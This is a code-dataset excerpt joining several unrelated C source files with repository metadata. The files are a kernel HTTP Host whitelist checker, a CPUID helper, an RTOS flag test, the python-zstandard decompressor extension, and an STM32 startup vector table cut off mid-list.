const size_t request_host_size_ = strlen(request_host);
const size_t host_size_ = strlen(host);
// 普通域名
if (request_host_size_ == host_size_
&& strcmp(host, request_host) == 0)
return true;
// 泛域名
if (host[0] == '*' && request_host_size_ >= host_size_ - 1) {
// *.abc.com -> .abc.com
++host;
// 请求域名长度A - 白名单域名长度B = 域名长度差C
// 指向请求域名的char*,向前移动 C,比如 www.abc.com -> .abc.com
cut_request_host_ = request_host + (request_host_size_ - (host_size_ - 1));
if (strcmp(host, cut_request_host_) == 0)
return true;
}
return false;
}
bool check_host(unsigned char *tcp_data, char *hosts, size_t hosts_size) {
bool ret_ = false;
int i_ = 0;
char *host_ = NULL;
char *request_host_ = NULL;
if (!get_http_host(tcp_data, &request_host_))
return false;
for (i_ = 0; i_ < hosts_size; ++i_) {
host_ = hosts + i_;
ret_ = cmp_host(request_host_, host_);
if (ret_) break;
i_ += strlen(host_);
}
if (DEBUG) {
if (ret_)
pr_info("[%s] Accept host \"%s\"\n", MODOUBLE_NAME, request_host_);
else
pr_info("[%s] Drop host \"%s\"\n", MODOUBLE_NAME, request_host_);
}
kfree(request_host_);
return ret_;
}
bool init_host_str(char **data, loff_t* size) {
if (!read_cfg(WL_HOST, data, size))
return false;
tok_str(data, '\n');
return true;
}
| 2.34375 | 2 |
2024-11-18T22:26:04.519408+00:00 | 2019-07-19T18:09:49 | 67e40fa45db154464fcff051aa07700f6450bdac | {
"blob_id": "67e40fa45db154464fcff051aa07700f6450bdac",
"branch_name": "refs/heads/master",
"committer_date": "2019-07-19T18:09:49",
"content_id": "7467bc3eaa77ba6db8a5ca45f51122fd6e60379a",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "a01eddf2c59613f756e93e61443480f199ed03f8",
"extension": "c",
"filename": "x86-lib.c",
"fork_events_count": 1,
"gha_created_at": "2019-08-31T03:05:01",
"gha_event_created_at": "2019-08-31T03:05:02",
"gha_language": null,
"gha_license_id": null,
"github_id": 205487550,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1288,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/src/x86-lib.c",
"provenance": "stackv2-0115.json.gz:150341",
"repo_name": "gyakovlev/cpuid2cpuflags",
"revision_date": "2019-07-19T18:09:49",
"revision_id": "b0d213fc4782a59a512858b6f626fb78b84b7387",
"snapshot_id": "770fba13c5e23c1db7e71e81572f37bedaeeb8bf",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/gyakovlev/cpuid2cpuflags/b0d213fc4782a59a512858b6f626fb78b84b7387/src/x86-lib.c",
"visit_date": "2020-07-15T05:19:59.805421"
} | stackv2 | /* cpuid2cpuflags
* (c) 2015-2019 Michał Górny
* 2-clause BSD licensed
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "platforms.h"
#ifdef CPUID_X86
#ifdef HAVE_CPUID_H
# include <cpuid.h>
#else
# error "Compiler not supported (no cpuid.h)"
#endif
#include "x86.h"
int run_cpuid(uint32_t level, uint32_t* eax, uint32_t* ebx, uint32_t* ecx, uint32_t* edx)
{
uint32_t eax_, ebx_, ecx_, edx_;
/* We can't use __get_cpuid() since it can't do Centaur extended
* flags (it's limited to Intel & AMD namespaces by poor design) */
/* TODO: we need to figure out if 0xN0000000 is even valid
* otherwise it will fallback to last supported CPUID... */
if (__get_cpuid_max(level & 0xf0000000, 0) < level)
return 0;
__cpuid(level, eax_, ebx_, ecx_, edx_);
if (eax)
*eax = eax_;
if (ebx)
*ebx = ebx_;
if (ecx)
*ecx = ecx_;
if (edx)
*edx = edx_;
return 1;
}
int run_cpuid_sub(uint32_t level, uint32_t sublevel, uint32_t* eax, uint32_t* ebx, uint32_t* ecx, uint32_t* edx)
{
uint32_t eax_, ebx_, ecx_, edx_;
if (__get_cpuid_max(level & 0xf0000000, 0) < level)
return 0;
__cpuid_count(level, sublevel, eax_, ebx_, ecx_, edx_);
if (eax)
*eax = eax_;
if (ebx)
*ebx = ebx_;
if (ecx)
*ecx = ecx_;
if (edx)
*edx = edx_;
return 1;
}
#endif
| 2.5 | 2 |
2024-11-18T22:26:04.826095+00:00 | 2022-10-20T09:17:15 | 6a30cb47f2ffd6e9e51425f4ba587e63954f2bd2 | {
"blob_id": "6a30cb47f2ffd6e9e51425f4ba587e63954f2bd2",
"branch_name": "refs/heads/master",
"committer_date": "2022-10-20T09:17:15",
"content_id": "ab404087e0b0b512dac8e9957955fb8a1a8b8850",
"detected_licenses": [
"MIT"
],
"directory_id": "da5dadc01263ddf664e29af18a156f95064cd3b2",
"extension": "c",
"filename": "test_flag_1.c",
"fork_events_count": 1,
"gha_created_at": "2018-10-05T13:47:50",
"gha_event_created_at": "2018-10-05T13:47:50",
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 151727417,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2516,
"license": "MIT",
"license_type": "permissive",
"path": "/test/test_flag/test_flag_1.c",
"provenance": "stackv2-0115.json.gz:150598",
"repo_name": "blue-devil/StateOS",
"revision_date": "2022-10-20T09:17:15",
"revision_id": "2717fc4c597b8071d3ccca54e1298878ff56d6fa",
"snapshot_id": "14bdfc2bd85f5a315a2bf2ffb8831d4c6029e617",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/blue-devil/StateOS/2717fc4c597b8071d3ccca54e1298878ff56d6fa/test/test_flag/test_flag_1.c",
"visit_date": "2022-11-05T12:33:31.283223"
} | stackv2 | #include "test.h"
#define FLAG0 14U
#define FLAG1 13U
#define FLAG2 11U
#define FLAG3 7U
static_FLG(flg3, FLAG3);
static void give(flg_t *flg, unsigned bitfield, unsigned check)
{
unsigned flag;
unsigned flags;
while (bitfield)
{
flag = bitfield & -bitfield;
bitfield -= flag;
flags = flg_give(flg, flag); ASSERT(flags == check);
}
}
static void proc3()
{
unsigned flags;
int result;
result = flg_wait(flg3, FLAG3, flgAll+flgProtect+flgIgnore);
ASSERT_success(result);
flags = flg_give(flg2, FLAG2); ASSERT(flags == FLAG2);
tsk_stop();
}
static void proc2()
{
unsigned flags;
int result;
ASSERT_dead(tsk3);
tsk_startFrom(tsk3, proc3); ASSERT_ready(tsk3);
result = flg_wait(flg2, FLAG2, flgAll); ASSERT_success(result);
give(flg3, FLAG3, FLAG3);
result = flg_wait(flg2, FLAG2, flgAll); ASSERT_success(result);
flags = flg_give(flg1, FLAG1); ASSERT(flags == FLAG1);
result = tsk_join(tsk3); ASSERT_success(result);
tsk_stop();
}
static void proc1()
{
unsigned flags;
int result;
ASSERT_dead(tsk2);
tsk_startFrom(tsk2, proc2); ASSERT_ready(tsk2);
result = flg_wait(flg1, FLAG1, flgAll); ASSERT_success(result);
give(flg2, FLAG2, 0);
result = flg_wait(flg1, FLAG1, flgAll); ASSERT_success(result);
flags = flg_give(&flg0, FLAG0); ASSERT(flags == FLAG0);
result = tsk_join(tsk2); ASSERT_success(result);
tsk_stop();
}
static void proc0()
{
int result;
ASSERT_dead(tsk1);
tsk_startFrom(tsk1, proc1); ASSERT_ready(tsk1);
result = flg_wait(&flg0, FLAG0, flgAll); ASSERT_success(result);
give(flg1, FLAG1, 0);
result = flg_wait(&flg0, FLAG0, flgAll); ASSERT_success(result);
result = tsk_join(tsk1); ASSERT_success(result);
tsk_stop();
}
static void test()
{
int result;
ASSERT_dead(&tsk0);
tsk_startFrom(&tsk0, proc0); ASSERT_ready(&tsk0);
tsk_yield();
tsk_yield();
give(&flg0, FLAG0, 0);
result = tsk_join(&tsk0); ASSERT_success(result);
}
void test_flag_1()
{
TEST_Notify();
TEST_Call();
}
| 2.328125 | 2 |
2024-11-18T22:26:05.072216+00:00 | 2016-12-19T17:10:25 | 2a5430fac0a6f7dd6695ea6ea435e7ea862d8c2e | {
"blob_id": "2a5430fac0a6f7dd6695ea6ea435e7ea862d8c2e",
"branch_name": "refs/heads/master",
"committer_date": "2016-12-19T17:10:25",
"content_id": "2a6ef323eef549c707b7cb387066f73fc6fbc0eb",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "9c2e0c84f9beac4c942cf05ac65a15253058f8ea",
"extension": "c",
"filename": "decompressor.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 17864,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/c-ext/decompressor.c",
"provenance": "stackv2-0115.json.gz:150727",
"repo_name": "smile-luobin/python-zstandard",
"revision_date": "2016-12-19T17:10:25",
"revision_id": "ca0199a2e29145111cee8af60385e24d776413cc",
"snapshot_id": "881af6eda22254dbaa22eef9b9f930ddfb97c6e0",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/smile-luobin/python-zstandard/ca0199a2e29145111cee8af60385e24d776413cc/c-ext/decompressor.c",
"visit_date": "2021-01-11T09:08:41.664687"
} | stackv2 | /**
* Copyright (c) 2016-present, Gregory Szorc
* All rights reserved.
*
* This software may be modified and distributed under the terms
* of the BSD license. See the LICENSE file for details.
*/
#include "python-zstandard.h"
extern PyObject* ZstdError;
ZSTD_DStream* DStream_from_ZstdDecompressor(ZstdDecompressor* decompressor) {
ZSTD_DStream* dstream;
void* dictData = NULL;
size_t dictSize = 0;
size_t zresult;
dstream = ZSTD_createDStream();
if (!dstream) {
PyErr_SetString(ZstdError, "could not create DStream");
return NULL;
}
if (decompressor->dict) {
dictData = decompressor->dict->dictData;
dictSize = decompressor->dict->dictSize;
}
if (dictData) {
zresult = ZSTD_initDStream_usingDict(dstream, dictData, dictSize);
}
else {
zresult = ZSTD_initDStream(dstream);
}
if (ZSTD_isError(zresult)) {
PyErr_Format(ZstdError, "could not initialize DStream: %s",
ZSTD_getErrorName(zresult));
return NULL;
}
return dstream;
}
PyDoc_STRVAR(Decompressor__doc__,
"ZstdDecompressor(dict_data=None)\n"
"\n"
"Create an object used to perform Zstandard decompression.\n"
"\n"
"An instance can perform multiple decompression operations."
);
static int Decompressor_init(ZstdDecompressor* self, PyObject* args, PyObject* kwargs) {
static char* kwlist[] = {
"dict_data",
NULL
};
ZstdCompressionDict* dict = NULL;
self->refdctx = NULL;
self->dict = NULL;
self->ddict = NULL;
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|O!", kwlist,
&ZstdCompressionDictType, &dict)) {
return -1;
}
/* Instead of creating a ZSTD_DCtx for every decompression operation,
we create an instance at object creation time and recycle it via
ZSTD_copyDCTx() on each use. This means each use is a malloc+memcpy
instead of a malloc+init. */
/* TODO lazily initialize the reference ZSTD_DCtx on first use since
not instances of ZstdDecompressor will use a ZSTD_DCtx. */
self->refdctx = ZSTD_createDCtx();
if (!self->refdctx) {
PyErr_NoMemory();
goto except;
}
if (dict) {
self->dict = dict;
Py_INCREF(dict);
}
return 0;
except:
if (self->refdctx) {
ZSTD_freeDCtx(self->refdctx);
self->refdctx = NULL;
}
return -1;
}
static void Decompressor_dealloc(ZstdDecompressor* self) {
if (self->refdctx) {
ZSTD_freeDCtx(self->refdctx);
}
Py_XDECREF(self->dict);
if (self->ddict) {
ZSTD_freeDDict(self->ddict);
self->ddict = NULL;
}
PyObject_Del(self);
}
PyDoc_STRVAR(Decompressor_copy_stream__doc__,
"copy_stream(ifh, ofh[, read_size=default, write_size=default]) -- decompress data between streams\n"
"\n"
"Compressed data will be read from ``ifh``, decompressed, and written to\n"
"``ofh``. ``ifh`` must have a ``read(size)`` method. ``ofh`` must have a\n"
"``write(data)`` method.\n"
"\n"
"The optional ``read_size`` and ``write_size`` arguments control the chunk\n"
"size of data that is ``read()`` and ``write()`` between streams. They default\n"
"to the default input and output sizes of zstd decompressor streams.\n"
);
static PyObject* Decompressor_copy_stream(ZstdDecompressor* self, PyObject* args, PyObject* kwargs) {
static char* kwlist[] = {
"ifh",
"ofh",
"read_size",
"write_size",
NULL
};
PyObject* source;
PyObject* dest;
size_t inSize = ZSTD_DStreamInSize();
size_t outSize = ZSTD_DStreamOutSize();
ZSTD_DStream* dstream;
ZSTD_inBuffer input;
ZSTD_outBuffer output;
Py_ssize_t totalRead = 0;
Py_ssize_t totalWrite = 0;
char* readBuffer;
Py_ssize_t readSize;
PyObject* readResult;
PyObject* res = NULL;
size_t zresult = 0;
PyObject* writeResult;
PyObject* totalReadPy;
PyObject* totalWritePy;
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "OO|kk", kwlist, &source,
&dest, &inSize, &outSize)) {
return NULL;
}
if (!PyObject_HasAttrString(source, "read")) {
PyErr_SetString(PyExc_ValueError, "first argument must have a read() method");
return NULL;
}
if (!PyObject_HasAttrString(dest, "write")) {
PyErr_SetString(PyExc_ValueError, "second argument must have a write() method");
return NULL;
}
dstream = DStream_from_ZstdDecompressor(self);
if (!dstream) {
res = NULL;
goto finally;
}
output.dst = PyMem_Malloc(outSize);
if (!output.dst) {
PyErr_NoMemory();
res = NULL;
goto finally;
}
output.size = outSize;
output.pos = 0;
/* Read source stream until EOF */
while (1) {
readResult = PyObject_CallMethod(source, "read", "n", inSize);
if (!readResult) {
PyErr_SetString(ZstdError, "could not read() from source");
goto finally;
}
PyBytes_AsStringAndSize(readResult, &readBuffer, &readSize);
/* If no data was read, we're at EOF. */
if (0 == readSize) {
break;
}
totalRead += readSize;
/* Send data to decompressor */
input.src = readBuffer;
input.size = readSize;
input.pos = 0;
while (input.pos < input.size) {
Py_BEGIN_ALLOW_THREADS
zresult = ZSTD_decompressStream(dstream, &output, &input);
Py_END_ALLOW_THREADS
if (ZSTD_isError(zresult)) {
PyErr_Format(ZstdError, "zstd decompressor error: %s",
ZSTD_getErrorName(zresult));
res = NULL;
goto finally;
}
if (output.pos) {
#if PY_MAJOR_VERSION >= 3
writeResult = PyObject_CallMethod(dest, "write", "y#",
#else
writeResult = PyObject_CallMethod(dest, "write", "s#",
#endif
output.dst, output.pos);
Py_XDECREF(writeResult);
totalWrite += output.pos;
output.pos = 0;
}
}
}
/* Source stream is exhausted. Finish up. */
ZSTD_freeDStream(dstream);
dstream = NULL;
totalReadPy = PyLong_FromSsize_t(totalRead);
totalWritePy = PyLong_FromSsize_t(totalWrite);
res = PyTuple_Pack(2, totalReadPy, totalWritePy);
Py_DecRef(totalReadPy);
Py_DecRef(totalWritePy);
finally:
if (output.dst) {
PyMem_Free(output.dst);
}
if (dstream) {
ZSTD_freeDStream(dstream);
}
return res;
}
PyDoc_STRVAR(Decompressor_decompress__doc__,
"decompress(data[, max_output_size=None]) -- Decompress data in its entirety\n"
"\n"
"This method will decompress the entirety of the argument and return the\n"
"result.\n"
"\n"
"The input bytes are expected to contain a full Zstandard frame (something\n"
"compressed with ``ZstdCompressor.compress()`` or similar). If the input does\n"
"not contain a full frame, an exception will be raised.\n"
"\n"
"If the frame header of the compressed data does not contain the content size\n"
"``max_output_size`` must be specified or ``ZstdError`` will be raised. An\n"
"allocation of size ``max_output_size`` will be performed and an attempt will\n"
"be made to perform decompression into that buffer. If the buffer is too\n"
"small or cannot be allocated, ``ZstdError`` will be raised. The buffer will\n"
"be resized if it is too large.\n"
"\n"
"Uncompressed data could be much larger than compressed data. As a result,\n"
"calling this function could result in a very large memory allocation being\n"
"performed to hold the uncompressed data. Therefore it is **highly**\n"
"recommended to use a streaming decompression method instead of this one.\n"
);
PyObject* Decompressor_decompress(ZstdDecompressor* self, PyObject* args, PyObject* kwargs) {
static char* kwlist[] = {
"data",
"max_output_size",
NULL
};
const char* source;
Py_ssize_t sourceSize;
Py_ssize_t maxOutputSize = 0;
unsigned long long decompressedSize;
size_t destCapacity;
PyObject* result = NULL;
ZSTD_DCtx* dctx = NULL;
void* dictData = NULL;
size_t dictSize = 0;
size_t zresult;
#if PY_MAJOR_VERSION >= 3
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y#|n", kwlist,
#else
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "s#|n", kwlist,
#endif
&source, &sourceSize, &maxOutputSize)) {
return NULL;
}
dctx = PyMem_Malloc(ZSTD_sizeof_DCtx(self->refdctx));
if (!dctx) {
PyErr_NoMemory();
return NULL;
}
ZSTD_copyDCtx(dctx, self->refdctx);
if (self->dict) {
dictData = self->dict->dictData;
dictSize = self->dict->dictSize;
}
if (dictData && !self->ddict) {
Py_BEGIN_ALLOW_THREADS
self->ddict = ZSTD_createDDict(dictData, dictSize);
Py_END_ALLOW_THREADS
if (!self->ddict) {
PyErr_SetString(ZstdError, "could not create decompression dict");
goto except;
}
}
decompressedSize = ZSTD_getDecompressedSize(source, sourceSize);
/* 0 returned if content size not in the zstd frame header */
if (0 == decompressedSize) {
if (0 == maxOutputSize) {
PyErr_SetString(ZstdError, "input data invalid or missing content size "
"in frame header");
goto except;
}
else {
result = PyBytes_FromStringAndSize(NULL, maxOutputSize);
destCapacity = maxOutputSize;
}
}
else {
result = PyBytes_FromStringAndSize(NULL, decompressedSize);
destCapacity = decompressedSize;
}
if (!result) {
goto except;
}
Py_BEGIN_ALLOW_THREADS
if (self->ddict) {
zresult = ZSTD_decompress_usingDDict(dctx, PyBytes_AsString(result), destCapacity,
source, sourceSize, self->ddict);
}
else {
zresult = ZSTD_decompressDCtx(dctx, PyBytes_AsString(result), destCapacity, source, sourceSize);
}
Py_END_ALLOW_THREADS
if (ZSTD_isError(zresult)) {
PyErr_Format(ZstdError, "decompression error: %s", ZSTD_getErrorName(zresult));
goto except;
}
else if (decompressedSize && zresult != decompressedSize) {
PyErr_Format(ZstdError, "decompression error: decompressed %zu bytes; expected %llu",
zresult, decompressedSize);
goto except;
}
else if (zresult < destCapacity) {
if (_PyBytes_Resize(&result, zresult)) {
goto except;
}
}
goto finally;
except:
Py_DecRef(result);
result = NULL;
finally:
if (dctx) {
PyMem_FREE(dctx);
}
return result;
}
PyDoc_STRVAR(Decompressor_decompressobj__doc__,
"decompressobj()\n"
"\n"
"Incrementally feed data into a decompressor.\n"
"\n"
"The returned object exposes a ``decompress(data)`` method. This makes it\n"
"compatible with ``zlib.decompressobj`` and ``bz2.BZ2Decompressor`` so that\n"
"callers can swap in the zstd decompressor while using the same API.\n"
);
static ZstdDecompressionObj* Decompressor_decompressobj(ZstdDecompressor* self) {
ZstdDecompressionObj* result = PyObject_New(ZstdDecompressionObj, &ZstdDecompressionObjType);
if (!result) {
return NULL;
}
result->dstream = DStream_from_ZstdDecompressor(self);
if (!result->dstream) {
Py_DecRef((PyObject*)result);
return NULL;
}
result->decompressor = self;
Py_INCREF(result->decompressor);
result->finished = 0;
return result;
}
PyDoc_STRVAR(Decompressor_read_from__doc__,
"read_from(reader[, read_size=default, write_size=default, skip_bytes=0])\n"
"Read compressed data and return an iterator\n"
"\n"
"Returns an iterator of decompressed data chunks produced from reading from\n"
"the ``reader``.\n"
"\n"
"Compressed data will be obtained from ``reader`` by calling the\n"
"``read(size)`` method of it. The source data will be streamed into a\n"
"decompressor. As decompressed data is available, it will be exposed to the\n"
"returned iterator.\n"
"\n"
"Data is ``read()`` in chunks of size ``read_size`` and exposed to the\n"
"iterator in chunks of size ``write_size``. The default values are the input\n"
"and output sizes for a zstd streaming decompressor.\n"
"\n"
"There is also support for skipping the first ``skip_bytes`` of data from\n"
"the source.\n"
);
static ZstdDecompressorIterator* Decompressor_read_from(ZstdDecompressor* self, PyObject* args, PyObject* kwargs) {
static char* kwlist[] = {
"reader",
"read_size",
"write_size",
"skip_bytes",
NULL
};
PyObject* reader;
size_t inSize = ZSTD_DStreamInSize();
size_t outSize = ZSTD_DStreamOutSize();
ZstdDecompressorIterator* result;
size_t skipBytes = 0;
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "O|kkk", kwlist, &reader,
&inSize, &outSize, &skipBytes)) {
return NULL;
}
if (skipBytes >= inSize) {
PyErr_SetString(PyExc_ValueError,
"skip_bytes must be smaller than read_size");
return NULL;
}
result = PyObject_New(ZstdDecompressorIterator, &ZstdDecompressorIteratorType);
if (!result) {
return NULL;
}
result->decompressor = NULL;
result->reader = NULL;
result->buffer = NULL;
result->dstream = NULL;
result->input.src = NULL;
result->output.dst = NULL;
if (PyObject_HasAttrString(reader, "read")) {
result->reader = reader;
Py_INCREF(result->reader);
}
else if (1 == PyObject_CheckBuffer(reader)) {
/* Object claims it is a buffer. Try to get a handle to it. */
result->buffer = PyMem_Malloc(sizeof(Py_buffer));
if (!result->buffer) {
goto except;
}
memset(result->buffer, 0, sizeof(Py_buffer));
if (0 != PyObject_GetBuffer(reader, result->buffer, PyBUF_CONTIG_RO)) {
goto except;
}
result->bufferOffset = 0;
}
else {
PyErr_SetString(PyExc_ValueError,
"must pass an object with a read() method or conforms to buffer protocol");
goto except;
}
result->decompressor = self;
Py_INCREF(result->decompressor);
result->inSize = inSize;
result->outSize = outSize;
result->skipBytes = skipBytes;
result->dstream = DStream_from_ZstdDecompressor(self);
if (!result->dstream) {
goto except;
}
result->input.src = PyMem_Malloc(inSize);
if (!result->input.src) {
PyErr_NoMemory();
goto except;
}
result->input.size = 0;
result->input.pos = 0;
result->output.dst = NULL;
result->output.size = 0;
result->output.pos = 0;
result->readCount = 0;
result->finishedInput = 0;
result->finishedOutput = 0;
goto finally;
except:
if (result->reader) {
Py_DECREF(result->reader);
result->reader = NULL;
}
if (result->buffer) {
PyBuffer_Release(result->buffer);
Py_DECREF(result->buffer);
result->buffer = NULL;
}
Py_DECREF(result);
result = NULL;
finally:
return result;
}
PyDoc_STRVAR(Decompressor_write_to__doc__,
"Create a context manager to write decompressed data to an object.\n"
"\n"
"The passed object must have a ``write()`` method.\n"
"\n"
"The caller feeds intput data to the object by calling ``write(data)``.\n"
"Decompressed data is written to the argument given as it is decompressed.\n"
"\n"
"An optional ``write_size`` argument defines the size of chunks to\n"
"``write()`` to the writer. It defaults to the default output size for a zstd\n"
"streaming decompressor.\n"
);
static ZstdDecompressionWriter* Decompressor_write_to(ZstdDecompressor* self, PyObject* args, PyObject* kwargs) {
static char* kwlist[] = {
"writer",
"write_size",
NULL
};
PyObject* writer;
size_t outSize = ZSTD_DStreamOutSize();
ZstdDecompressionWriter* result;
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "O|k", kwlist, &writer, &outSize)) {
return NULL;
}
if (!PyObject_HasAttrString(writer, "write")) {
PyErr_SetString(PyExc_ValueError, "must pass an object with a write() method");
return NULL;
}
result = PyObject_New(ZstdDecompressionWriter, &ZstdDecompressionWriterType);
if (!result) {
return NULL;
}
result->decompressor = self;
Py_INCREF(result->decompressor);
result->writer = writer;
Py_INCREF(result->writer);
result->outSize = outSize;
result->entered = 0;
result->dstream = NULL;
return result;
}
static PyMethodDef Decompressor_methods[] = {
{ "copy_stream", (PyCFunction)Decompressor_copy_stream, METH_VARARGS | METH_KEYWORDS,
Decompressor_copy_stream__doc__ },
{ "decompress", (PyCFunction)Decompressor_decompress, METH_VARARGS | METH_KEYWORDS,
Decompressor_decompress__doc__ },
{ "decompressobj", (PyCFunction)Decompressor_decompressobj, METH_NOARGS,
Decompressor_decompressobj__doc__ },
{ "read_from", (PyCFunction)Decompressor_read_from, METH_VARARGS | METH_KEYWORDS,
Decompressor_read_from__doc__ },
{ "write_to", (PyCFunction)Decompressor_write_to, METH_VARARGS | METH_KEYWORDS,
Decompressor_write_to__doc__ },
{ NULL, NULL }
};
PyTypeObject ZstdDecompressorType = {
PyVarObject_HEAD_INIT(NULL, 0)
"zstd.ZstdDecompressor", /* tp_name */
sizeof(ZstdDecompressor), /* tp_basicsize */
0, /* tp_itemsize */
(destructor)Decompressor_dealloc, /* tp_dealloc */
0, /* tp_print */
0, /* tp_getattr */
0, /* tp_setattr */
0, /* tp_compare */
0, /* tp_repr */
0, /* tp_as_number */
0, /* tp_as_sequence */
0, /* tp_as_mapping */
0, /* tp_hash */
0, /* tp_call */
0, /* tp_str */
0, /* tp_getattro */
0, /* tp_setattro */
0, /* tp_as_buffer */
Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */
Decompressor__doc__, /* tp_doc */
0, /* tp_traverse */
0, /* tp_clear */
0, /* tp_richcompare */
0, /* tp_weaklistoffset */
0, /* tp_iter */
0, /* tp_iternext */
Decompressor_methods, /* tp_methods */
0, /* tp_members */
0, /* tp_getset */
0, /* tp_base */
0, /* tp_dict */
0, /* tp_descr_get */
0, /* tp_descr_set */
0, /* tp_dictoffset */
(initproc)Decompressor_init, /* tp_init */
0, /* tp_alloc */
PyType_GenericNew, /* tp_new */
};
void decompressor_module_init(PyObject* mod) {
Py_TYPE(&ZstdDecompressorType) = &PyType_Type;
if (PyType_Ready(&ZstdDecompressorType) < 0) {
return;
}
Py_INCREF((PyObject*)&ZstdDecompressorType);
PyModule_AddObject(mod, "ZstdDecompressor",
(PyObject*)&ZstdDecompressorType);
}
| 2.421875 | 2 |
2024-11-18T22:26:05.194999+00:00 | 2023-03-11T22:41:10 | 8a497170e0741cd121ea946b21219bb659ba2f61 | {
"blob_id": "8a497170e0741cd121ea946b21219bb659ba2f61",
"branch_name": "refs/heads/main",
"committer_date": "2023-03-11T22:41:10",
"content_id": "659d9d56463c79fa0bd79ffa6f7428dff1cd448b",
"detected_licenses": [
"MIT"
],
"directory_id": "5ac9fe1ea7495a759472b1e566f43ae2fc109eda",
"extension": "c",
"filename": "start.c",
"fork_events_count": 1,
"gha_created_at": "2019-08-11T12:09:36",
"gha_event_created_at": "2021-03-29T18:21:03",
"gha_language": "C",
"gha_license_id": null,
"github_id": 201759997,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4199,
"license": "MIT",
"license_type": "permissive",
"path": "/src/target/nucleo-g031k8/start.c",
"provenance": "stackv2-0115.json.gz:150855",
"repo_name": "ryanplusplus/stm32-tiny",
"revision_date": "2023-03-11T22:41:10",
"revision_id": "c69491bf18a5ed8783624da2d463c21096c346e8",
"snapshot_id": "4b05cd9d0c5eae4dbd7b2e1c30a9e892bafc1222",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ryanplusplus/stm32-tiny/c69491bf18a5ed8783624da2d463c21096c346e8/src/target/nucleo-g031k8/start.c",
"visit_date": "2023-03-16T02:07:20.398546"
} | stackv2 | /*!
* @file
* @brief
*/
#include <stdint.h>
extern uint32_t _data_rom;
extern uint32_t _data_begin;
extern uint32_t _data_end;
extern uint32_t _bss_begin;
extern uint32_t _bss_end;
extern uint32_t _stack_top;
extern void main(void);
void reset_handler(void)
{
uint32_t* source = &_data_rom;
for(uint32_t* destination = &_data_begin; destination < &_data_end;) {
*(destination++) = *(source++);
}
for(uint32_t* destination = &_bss_begin; destination < &_bss_end;) {
*(destination++) = 0;
}
main();
}
void default_handler(void)
{
while(1) {
}
}
void derp_handler(void)
{
while(1) {
}
}
// Cortex-M0+
void NMI_Handler(void) __attribute__((weak, alias("default_handler")));
void HardFault_Handler(void) __attribute__((weak, alias("derp_handler")));
void SVC_Handler(void) __attribute__((weak, alias("default_handler")));
void PendSV_Handler(void) __attribute__((weak, alias("default_handler")));
void SysTick_Handler(void) __attribute__((weak, alias("default_handler")));
// Peripherals
void WWDG_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void PVD_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void RTC_TAMP_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void FLASH_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void RCC_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void EXTI0_1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void EXTI2_3_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void EXTI4_15_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void DMA1_Channel1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void DMA1_Channel2_3_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void DMA1_Ch4_5_DMAMUX1_OVR_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void ADC1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM1_BRK_UP_TRG_COM_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM1_CC_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM2_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM3_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void LPTIM1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void LPTIM2_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM14_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM16_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void TIM17_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void I2C1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void I2C2_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void SPI1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void SPI2_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void USART1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void USART2_IRQHandler(void) __attribute__((weak, alias("default_handler")));
void LPUART1_IRQHandler(void) __attribute__((weak, alias("default_handler")));
typedef void (*vector_t)(void);
const vector_t vector_table[] __attribute__((section(".vectors"), used)) = {
// Cortex-M0+
(vector_t)(uintptr_t)&_stack_top,
reset_handler,
NMI_Handler,
HardFault_Handler,
0,
0,
0,
0,
0,
0,
0,
SVC_Handler,
0,
0,
PendSV_Handler,
SysTick_Handler,
// Peripherals
WWDG_IRQHandler,
PVD_IRQHandler,
RTC_TAMP_IRQHandler,
FLASH_IRQHandler,
RCC_IRQHandler,
EXTI0_1_IRQHandler,
EXTI2_3_IRQHandler,
EXTI4_15_IRQHandler,
0,
DMA1_Channel1_IRQHandler,
